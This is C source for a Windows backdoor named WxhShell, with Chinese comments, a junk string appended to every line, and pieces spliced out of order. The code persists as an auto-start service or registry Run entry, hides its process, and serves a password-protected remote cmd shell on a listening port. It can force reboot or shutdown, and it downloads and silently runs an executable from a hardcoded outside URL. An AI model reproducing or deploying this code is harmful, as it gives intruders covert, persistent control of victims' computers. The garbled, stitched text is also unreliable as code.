  case 'd': { 7}GK%H-u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /^$UhX9v  
    if(Boot(SHUTDOWN)) 5aBAr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kM'"4[,nz  
    else { Fi. aC;sx  
    closesocket(wsh); 3)ma\+< 6  
    ExitThread(0); 28hHabd|  
    } d\H&dkpH  
    break; R g?1-|Tj  
    } AsPx?  
  // 获取shell ;>%~9j1C  
  case 's': { ui "3ak+F  
    CmdShell(wsh); 'DCFezdf3  
    closesocket(wsh); 5jgdbHog]  
    ExitThread(0); j}BHj.YuP  
    break; { F'Kk\f%:  
  } ?\U!huu  
  // 退出 yJsH=5A  
  case 'x': { &f>eQ S=(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l{:a1^[>y  
    CloseIt(wsh); 8K;Y2 #  
    break; GyW.2  
    } =?])['VaA  
  // 离开 "c(Sysl.L  
  case 'q': { &m {kHM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )-Ej5'iHr  
    closesocket(wsh); ?!=iu!J  
    WSACleanup(); H{?9CxYa  
    exit(1); j}F-Xs+  
    break; fa&-. *  
        } >S1)YKgz  
  } 'q>2t}KG  
  } `^(jm  
`k; KBW  
  // 提示信息 ZUp\Ep}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y4F6qyP)"  
} 1[E#vdbT  
  } 4Hb $0l  
aup6?'G;  
  return; dI*'!wK  
} DY{cQb  
e,k2vp!<&  
// shell模块句柄 /<&h@$NHH4  
int CmdShell(SOCKET sock) ?\/qeGW6G  
{ 1^dJg8  
STARTUPINFO si; _TUt9}  
ZeroMemory(&si,sizeof(si)); $&Kq*m 0g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kvGCbRC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o<l 2r  
PROCESS_INFORMATION ProcessInfo; Fl{WAg  
char cmdline[]="cmd"; '4OcZ/oI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |2`"1gt  
  return 0; H]\Zn%.#  
} 0rokR&Y-d  
9p@C4oen  
// 自身启动模式 85|fyX  
int StartFromService(void) V8-h%|$p3W  
{ 0IT@V5Gdj  
typedef struct BHj\G7,S  
{ B|%tE{F  
  DWORD ExitStatus; 02JoA+  
  DWORD PebBaseAddress; DjCx~@  
  DWORD AffinityMask; .mL#6P!d3^  
  DWORD BasePriority; U@Tj B  
  ULONG UniqueProcessId; -$<O\5cAQ  
  ULONG InheritedFromUniqueProcessId; ~|Z'l%<Os  
}   PROCESS_BASIC_INFORMATION; s?3i) Ymr  
!umEyd@ "  
PROCNTQSIP NtQueryInformationProcess; G{x[uE2X&f  
[9mL $;M W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @!Hr|k|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }:z5t,u6  
h:/1X' 3d  
  HANDLE             hProcess; i2Jq|9,g  
  PROCESS_BASIC_INFORMATION pbi; !&] z*t  
la$%H<,7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MS<SAD>w  
  if(NULL == hInst ) return 0; =l942p  
d"~(T:=r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E-ZRG!)[v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E1Q0k5@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e kQrW%\3  
BF8"rq}r0  
  if (!NtQueryInformationProcess) return 0; X6RQqen3:  
Uh|>Skic4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qu%D  
  if(!hProcess) return 0; Di Or{)a  
6'OO-o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; },+~F8B  
#T~&]|{,  
  CloseHandle(hProcess); F9XT lA  
!:fv>FEI9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vf-5&S&9  
if(hProcess==NULL) return 0; Omag)U)IPh  
{.k)2{  
HMODULE hMod; Zv qn%K],  
char procName[255]; $T }Tz7(  
unsigned long cbNeeded; -NM0LTF  
}Ia 0"J4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H5nS%D  
^m7~:=K7WG  
  CloseHandle(hProcess); 3+YbA)i;  
h ?#@~  
if(strstr(procName,"services")) return 1; // 以服务启动 jB@4b 'y  
!rTmR@e$/  
  return 0; // 注册表启动 FN )d1q(~  
} (paf2F`~#  
S7n"3.k  
// 主模块 yu&Kh4AP  
int StartWxhshell(LPSTR lpCmdLine) 8SnS~._9  
{  oYX{R  
  SOCKET wsl; *j*Du+  
BOOL val=TRUE; 0jB X5  
  int port=0; +nZRi3yu=  
  struct sockaddr_in door; BIWD/ |LQ  
qeaA&(|5  
  if(wscfg.ws_autoins) Install(); @?&Wm3x9  
EychR/s  
port=atoi(lpCmdLine); J\W-dI  
K]N~~*`%`  
if(port<=0) port=wscfg.ws_port; uhn%lV]  
cfoYnM  
  WSADATA data; B} *V%}:)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; - G ?%QG`v  
w;yx<1f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R Td^ImV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZL%VOxYqi  
  door.sin_family = AF_INET; 6 ,N6jaW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M%=P)cC  
  door.sin_port = htons(port); p/|(,)'+jx  
2eok@1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t]m!ee8*X<  
closesocket(wsl); 02 f9 wV  
return 1; TGWdyIk  
} D6=HYqdj  
BpT"~4oV5  
  if(listen(wsl,2) == INVALID_SOCKET) { qj?2%mK`  
closesocket(wsl); Sa]Ek*  
return 1; gM_:l  
} R40W'N 1%q  
  Wxhshell(wsl); 6 S*zzJ.0K  
  WSACleanup(); zW'/2W.  
4DML  
return 0; z Bf;fi  
 *q"G }  
} -qn[HXq  
~%aJFs  
// 以NT服务方式启动 N+>'J23d!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,OBQv.D3>a  
{ t* z'c  
DWORD   status = 0; 5upShtC  
  DWORD   specificError = 0xfffffff; w yD%x(  
I #l;~a<9z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >_#)3K1y8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g.*&BXZi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {a4xF2  
  serviceStatus.dwWin32ExitCode     = 0; (Nt[v;BnO  
  serviceStatus.dwServiceSpecificExitCode = 0; D=w9cKa  
  serviceStatus.dwCheckPoint       = 0; 9H$g?';  
  serviceStatus.dwWaitHint       = 0; $y6rvQ 2>S  
5fq.*1f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cqg=8$RB  
  if (hServiceStatusHandle==0) return; {( HxG4~  
'jbMTI  
status = GetLastError(); RV]a%mVlM  
  if (status!=NO_ERROR) BD1K H;  
{ 7&t~R}&|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &|,s{?z2  
    serviceStatus.dwCheckPoint       = 0; %<S7  
    serviceStatus.dwWaitHint       = 0; -><QFJ  
    serviceStatus.dwWin32ExitCode     = status; O|(o8 VS  
    serviceStatus.dwServiceSpecificExitCode = specificError; T5{T[YdX<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >40 GP#Vz  
    return; Gmgeve  
  } a#R %8)  
)_pt*xo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =dn1}  
  serviceStatus.dwCheckPoint       = 0; =|# w.(3y  
  serviceStatus.dwWaitHint       = 0; zPE#[\O21B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fB[\("+  
} I3ho(Kdi  
Uf[T_  
// 处理NT服务事件,比如:启动、停止 R8{e&n PE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z]e4pR6!  
{ RR'(9QJ$  
switch(fdwControl) 8v$ g  
{ p9w%kM?  
case SERVICE_CONTROL_STOP: u mqKFM$  
  serviceStatus.dwWin32ExitCode = 0; 9g+UJ\u^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y$v@wb5  
  serviceStatus.dwCheckPoint   = 0; xrX?ZJ  
  serviceStatus.dwWaitHint     = 0; hC|KH}aCR)  
  { k{qLkcOg=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ${CYDD"mdy  
  } )j(fWshP  
  return; !}j,TPpG  
case SERVICE_CONTROL_PAUSE: ax;{MfsK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $ #t|(\  
  break; "?`JA7~g  
case SERVICE_CONTROL_CONTINUE: 5@CpP-W#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a]{uZGn@i  
  break; \/ X{n*Hw?  
case SERVICE_CONTROL_INTERROGATE: 1wU=WE(kKZ  
  break; f^ywW[dF  
}; /H.(d 4C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \&# p1K(H  
} {4o\S  
g8rp|MOH  
// 标准应用程序主函数 Kyyih|{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3[,wMy"  
{ K]%N-F>r  
\kfcv  
// 获取操作系统版本 $]Rl__;  
OsIsNt=GetOsVer(); oMz/sL'u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tu7+LwF7  
)Xq@v']%~9  
  // 从命令行安装 HgS<Vxmq  
  if(strpbrk(lpCmdLine,"iI")) Install(); 65;|cmjv  
4LJ]l:m  
  // 下载执行文件 zuU Q."#i  
if(wscfg.ws_downexe) { A-X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ny]'RS-  
  WinExec(wscfg.ws_filenam,SW_HIDE); .Kg|f~InO  
} !~ BZHi6\  
2Ti" s-  
if(!OsIsNt) { 3"f)*w7d  
// 如果时win9x,隐藏进程并且设置为注册表启动 V^9$t/c &  
HideProc(); |K'Gw}fX/  
StartWxhshell(lpCmdLine); ,^n-L&  
} 3j]UEA^  
else Kp$_0  
  if(StartFromService()) D9e+  
  // 以服务方式启动 Zj:a-=  
  StartServiceCtrlDispatcher(DispatchTable); $^!a`Xr  
else u'#`yTB6b  
  // 普通方式启动 uDpf2(>s  
  StartWxhshell(lpCmdLine); 87&KQ_  
RI#lI~&)  
return 0; )PsN_ 42~  
} XKpL4]{&q4  
m]{<Ux  
)RpqZe/h4  
oqm  
=========================================== L`<T'3G  
`wP/Zp{Hy  
<Gbn PG?  
W?SP .-I  
HVtr,jg  
R-=_z 6<  
" E1$Hu{  
 5xG|35Pj  
#include <stdio.h> M"k3zK,  
#include <string.h> D{Hh#x8Y  
#include <windows.h> ^zBjG/'7  
#include <winsock2.h> bE VO<x+  
#include <winsvc.h> '*o7_Ez-{  
#include <urlmon.h> .Z(S4wV  
stf,<W  
#pragma comment (lib, "Ws2_32.lib") +a7EsR  
#pragma comment (lib, "urlmon.lib") U:s} /to  
D[?k ,*  
#define MAX_USER   100 // 最大客户端连接数 Vy?R/ Uu  
#define BUF_SOCK   200 // sock buffer ccHLL6F{  
#define KEY_BUFF   255 // 输入 buffer H1aV}KD  
?Zc/upd:$N  
#define REBOOT     0   // 重启 >reaIBT  
#define SHUTDOWN   1   // 关机 A^}i^  
$[HcHnf  
#define DEF_PORT   5000 // 监听端口 hj[+d%YZY"  
Oz4,Y+[#  
#define REG_LEN     16   // 注册表键长度 B[) [fE  
#define SVC_LEN     80   // NT服务名长度 VEFwqB1l  
bLU^1S8Z  
// 从dll定义API FYx `o\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~zXG<}n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UFzM#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7yq7a[Ra  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); LUe>)eqw  
~!a~C~_  
// wxhshell配置信息 2b 6? 9FX*  
struct WSCFG { iBGSBSeL&  
  int ws_port;         // 监听端口 3p?<iVE  
  char ws_passstr[REG_LEN]; // 口令 =j'J !M  
  int ws_autoins;       // 安装标记, 1=yes 0=no r`&2-]  
  char ws_regname[REG_LEN]; // 注册表键名 h"RP>fZt  
  char ws_svcname[REG_LEN]; // 服务名 zIAu3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EI?d(K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Wx']tFn"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +d6Aw}*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mkj;PYa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t%]^5<+X58  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rL!_&|  
78^UgO/  
}; []2$rJZD9  
l0:e=q2Ax  
// default Wxhshell configuration EPE!V>  
struct WSCFG wscfg={DEF_PORT, E3FW*UNg[y  
    "xuhuanlingzhe", L|C1C cP  
    1, ';;p8bv+  
    "Wxhshell", .N zW@|  
    "Wxhshell", ;Sx'O  
            "WxhShell Service", Dr8WV \4@  
    "Wrsky Windows CmdShell Service", d'lr:=GQ  
    "Please Input Your Password: ", Vid{6?7kh  
  1, uv~qK:Nw(  
  "http://www.wrsky.com/wxhshell.exe", `uM0,Z  
  "Wxhshell.exe" 6)uPM"cO  
    }; KG4#BY&^  
#x4h_K Y  
// 消息定义模块 ?[hy|r6$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2 0Cie q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (T%F!2i([U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !TV_dKa  
char *msg_ws_ext="\n\rExit."; ^.Ih,@N6  
char *msg_ws_end="\n\rQuit."; %ojR?=ON  
char *msg_ws_boot="\n\rReboot..."; -$L],q_S^  
char *msg_ws_poff="\n\rShutdown..."; |5<& r]xN  
char *msg_ws_down="\n\rSave to "; =,>TpE  
'Ec:l(2Ec  
char *msg_ws_err="\n\rErr!"; @~!-a s7  
char *msg_ws_ok="\n\rOK!"; 6`s%%v  
v3hQv)j)  
char ExeFile[MAX_PATH]; St~SiTJU  
int nUser = 0; T~wZ  
HANDLE handles[MAX_USER]; (A]m=  
int OsIsNt; ;mo\ yW1  
Wd^F%)(  
SERVICE_STATUS       serviceStatus; Bah.\ZsYQP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  ^ :  
[U3D`V$xD  
// 函数声明 -hU>1ux&V  
int Install(void); {l*&l2  
int Uninstall(void); tz0Ttu=xH  
int DownloadFile(char *sURL, SOCKET wsh); n ]6 0  
int Boot(int flag); wEHAkc)Q  
void HideProc(void); }`<>$2b  
int GetOsVer(void); >XXMIz:  
int Wxhshell(SOCKET wsl); qj3bt_F!x  
void TalkWithClient(void *cs); Rvu3Qo+  
int CmdShell(SOCKET sock); ~J. Fl[  
int StartFromService(void); Vk N[=0a,  
int StartWxhshell(LPSTR lpCmdLine);   Tk v  
}n2-*{)x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aaqd:N)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O{i_?V_  
&JXHDpd$a^  
// 数据结构和表定义 {xBjEhQm  
SERVICE_TABLE_ENTRY DispatchTable[] =  Z$#ZYD  
{ g+KzlS[6  
{wscfg.ws_svcname, NTServiceMain}, Rbj+P;t&  
{NULL, NULL} 5|~r{w)9  
}; @7HOL-i  
+/b4@B7  
// 自我安装 "k6IV&0 3x  
int Install(void) picP_1L  
{ $*v20  
  char svExeFile[MAX_PATH]; !6tC[W`  
  HKEY key; ?CT^Zegmr  
  strcpy(svExeFile,ExeFile); PkCeV]`w  
Zs5I?R1e8  
// 如果是win9x系统,修改注册表设为自启动 "$E!_  
if(!OsIsNt) { SJ~I r#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { = @Nv:1:r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b~haP.Cl :  
  RegCloseKey(key); /c$Ht  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EYx2IJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q5\LdI2  
  RegCloseKey(key); :oj) eS[Y  
  return 0; L(1,W<kYg  
    } kX ,FQG>  
  } &zh+:TRm  
} M9 2~iM  
else { J! 6z  
Q@ )rw0$  
// 如果是NT以上系统,安装为系统服务 -g[*wN8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )[M<72  
if (schSCManager!=0) R&=GB\`:a  
{ mZ5K hPvf8  
  SC_HANDLE schService = CreateService :5cu,&<Gv  
  ( @6!y(e8"J]  
  schSCManager, Qqhb]<z  
  wscfg.ws_svcname, H+#wj|,+\  
  wscfg.ws_svcdisp, @aD~YtL"n  
  SERVICE_ALL_ACCESS, F;Xq:e8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6P*)rye  
  SERVICE_AUTO_START, +|"n4iZ!)  
  SERVICE_ERROR_NORMAL, DN 8pJa  
  svExeFile, &!YH"{b  
  NULL, qnfRN'  
  NULL, A%m `LKV~@  
  NULL, +@],$=aE?  
  NULL, &9lc\Y4PY  
  NULL HlL@{<  
  ); t`1]U4s&I  
  if (schService!=0) K7O? {/  
  { -R$FJb Id  
  CloseServiceHandle(schService); z Hs  
  CloseServiceHandle(schSCManager); ][5p.owJse  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ah>krE0t  
  strcat(svExeFile,wscfg.ws_svcname); ?jn6Op  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g1*H|n h2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W &wDH  
  RegCloseKey(key); 7}1Kafs  
  return 0; zl#&Qm4Ot  
    } sV'.Bomq  
  } ' bw,K*  
  CloseServiceHandle(schSCManager); wY ;8UN  
} *T2&$W|_a  
} 3F'dT[;  
x>9EVa)  
return 1; F. oP!r  
} +$= Wms-z  
OYtus7q<  
// 自我卸载 WZ6{(`;#m  
int Uninstall(void) &'yV:g3H  
{ o>A%}YU  
  HKEY key; !g&B)0u]*  
>)A  
if(!OsIsNt) { !6/IKh`J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &CmkNm_B  
  RegDeleteValue(key,wscfg.ws_regname); GN;XB b]w  
  RegCloseKey(key); =i5:*J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UuqnL{  
  RegDeleteValue(key,wscfg.ws_regname); FHcqu_;J  
  RegCloseKey(key); .x$T a l  
  return 0; /~rO2]rZ@  
  } v8k ^=A:  
} *4^]?Y\*  
} [<fLPa  
else { 0o=)&%G  
Z%9^6kdY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dVt@D&  
if (schSCManager!=0) +95dz?~  
{ %y7wF'_Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $)7f%II  
  if (schService!=0) h-rj  
  { s]%!  
  if(DeleteService(schService)!=0) { I2lZ>3X{  
  CloseServiceHandle(schService); P~ZV:Of  
  CloseServiceHandle(schSCManager); h%^kA@3F  
  return 0; Lpbn@y26<  
  } 3L]^x9Cu)  
  CloseServiceHandle(schService); )Q j9kJq  
  } Q0; gF?  
  CloseServiceHandle(schSCManager); 4$2T zJE  
} 99>yaW  
} coVT+we  
M)pi)$&c  
return 1; BBJ]>lQ  
} %` [`I>  
+\oHQ=s>}\  
// 从指定url下载文件 molowPI  
int DownloadFile(char *sURL, SOCKET wsh) hJ*E"{xs  
{ ~S>ba']  
  HRESULT hr; ![!b^:f  
char seps[]= "/"; *g41"Cl  
char *token; 5XUI7Q%  
char *file; ?HyioLO  
char myURL[MAX_PATH]; e CUcE(  
char myFILE[MAX_PATH]; ZWW8Hr  
$K5s)!  
strcpy(myURL,sURL); 9qy 9  
  token=strtok(myURL,seps); }o:sx/=u_  
  while(token!=NULL) `oWjq6  
  { y]Tn#4 ,/  
    file=token; ']Xx#U N  
  token=strtok(NULL,seps); (g:W|hS  
  } <\~#\A=;  
B@vH1T  
GetCurrentDirectory(MAX_PATH,myFILE); OjEA;;qq  
strcat(myFILE, "\\"); @VS5Mg8  
strcat(myFILE, file); knzED~ v@(  
  send(wsh,myFILE,strlen(myFILE),0); )-"L4TC)  
send(wsh,"...",3,0); *dTf(J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lFV|GJ  
  if(hr==S_OK) :{uUc  
return 0; s(.-bjR  
else ZxPAu%Y  
return 1; ~ A|*]0,  
|3@Pt>Ikl  
} &LQab>{*K  
G&3<rT3Ib  
// 系统电源模块 <sB45sNbU`  
int Boot(int flag) qAik$.  
{ CHw_?#h  
  HANDLE hToken; O~ 0 1)%  
  TOKEN_PRIVILEGES tkp; %9Fg1LH42r  
=e/4Gs0*  
  if(OsIsNt) { 0U*"OSpF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); PQ1NQy8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A3pQ?d[  
    tkp.PrivilegeCount = 1; @BhAFv,7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V=MZOj6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9cj-v}5j  
if(flag==REBOOT) { \^LR5S&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {/!Gh\i  
  return 0; HZ=yfJs nc  
} g|_*(=Q  
else { ?R:Hj=.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~At.V+  
  return 0; 'oL[rO~j  
} "TJ^Z!  
  } IfCqezd  
  else { {Dq51  
if(flag==REBOOT) { L1 VTq9[3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <!>}t a  
  return 0; v[3sg2.  
} d`7] reh  
else { D}3fx[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  Vp^sER  
  return 0; H,~In2Z  
} g(H3arb&  
} vJUB;hD  
[KJL%u|8/  
return 1; :C6r N}_k  
} rNC3h"i\  
R\amcQ 9  
// win9x进程隐藏模块 kl"Cm`b)  
void HideProc(void) )d`$2D&iY  
{ O_Q,!&*6  
iH0c1}<k$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R7E"7"M10  
  if ( hKernel != NULL ) gNQJ:!  
  { }!Lr!eALr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h!~yYNQ"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !:{_<C"D  
    FreeLibrary(hKernel); x&Rp m<4  
  }  N&.p\T&t  
TaT&x_v^~a  
return; nCB3d[/B  
} 9Bw"VN]W  
_Z2)e*(  
// 获取操作系统版本 ?3N86Qj  
int GetOsVer(void) Sn&%epi  
{ Y|nTc.A  
  OSVERSIONINFO winfo; eqCB2u"Jq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \s'6)_  
  GetVersionEx(&winfo); ?0Zw ^a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m 0PF"(  
  return 1; ^umAfk5r?H  
  else rnE'gH(V'  
  return 0; Su#1yw>  
} )&-E@% \  
RBwV+X[B  
// 客户端句柄模块 ^yTN (\9  
int Wxhshell(SOCKET wsl) >.4Sx~VH2  
{ kzXW<V9  
  SOCKET wsh; R FiR)G ,  
  struct sockaddr_in client; g\'84:*J\  
  DWORD myID; S~Q";C[&  
2fB@zF  
  while(nUser<MAX_USER) < *OF  
{ LL+rd xJO^  
  int nSize=sizeof(client); /]&1XT?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (p!AX<=z  
  if(wsh==INVALID_SOCKET) return 1; Yl])Q|2I  
 t m?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5{TF6  
if(handles[nUser]==0) Y;>'~V#R  
  closesocket(wsh); -NeF6  
else E!M+37/  
  nUser++; EMbsKG  
  } C:{'0m*jKs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K%Bi8d  
+i =78  
  return 0; [4yQ-L)]e  
} a\E]ueVD2j  
_A r ,]v  
// 关闭 socket n0q(EQy1U  
void CloseIt(SOCKET wsh) -bF+uCfba  
{ * =l9gv&  
closesocket(wsh); + aF jtb  
nUser--; pp jrm  
ExitThread(0); nv]64mL3  
} [bXZPIz;j  
:9Pqy pd+  
// 客户端请求句柄 Fu$sfq  
void TalkWithClient(void *cs) }.zn:e  
{ jtwO\6 t&  
',pPs=  
  SOCKET wsh=(SOCKET)cs; Q23y.^W%c  
  char pwd[SVC_LEN]; Nfh(2g K+  
  char cmd[KEY_BUFF]; iy9]Y5b   
char chr[1]; +qec>ALAg  
int i,j; j;.&+.  
a\MJbBXv  
  while (nUser < MAX_USER) { )Be;Zw.|  
\Y$NGB=2[  
if(wscfg.ws_passstr) { ):@B1 yR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); psVRdluS   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1rC'sfz  
  //ZeroMemory(pwd,KEY_BUFF); :JYOC+#q7  
      i=0; ] W_T(C*  
  while(i<SVC_LEN) { OH w6#N$\  
9'M_tMm5  
  // 设置超时 I j /J  
  fd_set FdRead; =g:\R$lQ  
  struct timeval TimeOut; iVcBD0 q)  
  FD_ZERO(&FdRead); X1"nq]chGy  
  FD_SET(wsh,&FdRead); zqkmsFH{  
  TimeOut.tv_sec=8; 1Rh&04O>VL  
  TimeOut.tv_usec=0; {PKER$C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \!3='~2:=o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n9^zAcUbAW  
o%a$m9I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3'wBX  
  pwd=chr[0]; M*N8p]3Cq  
  if(chr[0]==0xd || chr[0]==0xa) { )UJMmw\  
  pwd=0; D[mYrWHpn  
  break; mq L+W  
  } <#-ERQw  
  i++; )j]RFt  
    } g2I@j3  
:>k\uW  
  // 如果是非法用户,关闭 socket ^BZdR<;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o&zV8DE_v  
} jX%Q  
.+<K-'&=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {`LV{ !  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f8lww)^,v  
EA\~m*k  
while(1) { 79v&6Io  
K5$ y  
  ZeroMemory(cmd,KEY_BUFF); ^&}Y>O,  
P_gQ-pF.  
      // 自动支持客户端 telnet标准   !ktr|9Bl  
  j=0; |8B[yr.b  
  while(j<KEY_BUFF) { 3]i1M%'i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C6`8dn   
  cmd[j]=chr[0]; >7 |37a  
  if(chr[0]==0xa || chr[0]==0xd) { kL-+V)Kl  
  cmd[j]=0; -Da_#_F  
  break; z!%}0  
  } e#wn;wo?  
  j++; Jj!T7f*-GX  
    } gS%J`X$  
Vk"QcW  
  // 下载文件 = 4If7  
  if(strstr(cmd,"http://")) { 0czy:d,M%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LYX+/@OU2  
  if(DownloadFile(cmd,wsh)) >Ry4Cc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]WG\+1x9  
  else <Wd$6  
